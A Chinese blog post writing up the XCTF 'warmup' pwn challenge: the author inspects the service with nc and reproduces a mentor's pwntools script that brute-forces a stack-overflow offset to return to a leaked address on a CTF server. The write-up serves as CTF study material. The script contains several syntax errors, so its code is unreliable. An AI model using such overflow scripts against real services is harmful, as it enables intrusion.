• 『攻防世界』:进阶区 | warmup


    这道题感觉有点怪怪的,题目页面并没有给出附件,实验了下可以开启在线场景

     先用nc看一看程序运行起来是怎么样的。

     首先一句warm up,再给我们打印了一个地址,这个地址我猜是解题的关键,应该需要通过栈溢出到这个地址就可以吧,毕竟这只是道暖身题,但是接下来的问题是如果我们选择栈溢出则需要知道栈溢出的cylib构造的长度以及地址的打包方式。

    这两个问题我可以通过脚本爆破出来就可以了,虽然逻辑非常简单,但是对于没有学习过Python的我来说还是要花费亿点功夫的。

    大概就是for(i ,i < cylib, i++){  for(j =1, j<p32(), j++){io = remote();io.recv();payload = ...;io.sendline;io.interactive();}  }, 上面那个就是一点点的逻辑,不用太在意里面的错误。 = =

     最后附上老湿的exp:

    from pwn import *
    #context.load_level = 'debug'
    addr = 0x40060d
    
    def fuzz(r,num,flag):
        payload = 'a' * num
        if flag = =1
            payload += p32(addr)
        if flag == 2
            payload += p64(addr)
        r.recvuntil(">")
        r.sendline(payload)
    
    def main()
        for i in range(1000):
            print(i)
            for j in range(3):
                try:
                    r = remote("111.198.29.45",46588)
                    fuzz(r,i,j)
                    text = r.recv()
                    print('text.len='+str(len(text))+'text='+text)
                    print('num= '+ str(i) + 'flag =' + str(j)
                    r.interactive()
                except:
                    r.close()
    
    if__name__ == '__main__' :
        main()
    EXP

     刚才调试了下,发现老湿傅的exp会在64停住,不能够正常的interactive(),但是cylib的长度正确是72.

    老湿的博客:www.sailingplace.cn

  • 相关阅读:
    SVN: repository browser 库浏览器
    创业泡沫真他妈的大出血来了 --个人需要创业以谋生,行业需要创业以求变,国家需要创业以维稳
    判断输入的是否是大于0的正整数
    linux开放或限制端口和ip访问
    linux模糊删除es索引脚本
    ssh免密登录
    DES加密解密
    SpringBoot 单元测试
    SpringContextHolder 工具类
    fiddler抓包 443 请求不到数据
  • 原文地址:https://www.cnblogs.com/Zowie/p/13550184.html
Copyright © 2020-2023  润新知